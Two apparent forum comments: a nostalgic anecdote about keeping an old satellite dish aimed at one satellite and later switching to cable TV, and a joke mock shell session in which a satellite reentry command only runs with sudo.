My worst luck with those dishes wasn't it arbitrarily hitting people. It was in a fenced area. Ours got hit by lightning a few times, and the control motor died more often. Last time the motor died, I did find that I could hit one satellite with a lot of good stuff on it, if I propped up the dish on a small stack of milk crates. It stayed exclusively there for a few years, only being realigned after heavy storms. Then the magic of cable TV came to the neighborhood and all was solved. It was so much easier to use a single testchip in the cable box than it was to reenter the codes into the VideoCipher. My apologies if I got any of the terms wrong, I haven't had either in many years. I found there's more to life than TV. :)
They forgot to use sudo.
$ reentry_burn
I'm sorry, Intelsat. I'm afraid I can't do that
$ sudo reentry_burn
Reentry burn initiated. Atmospheric entry in +00:15:00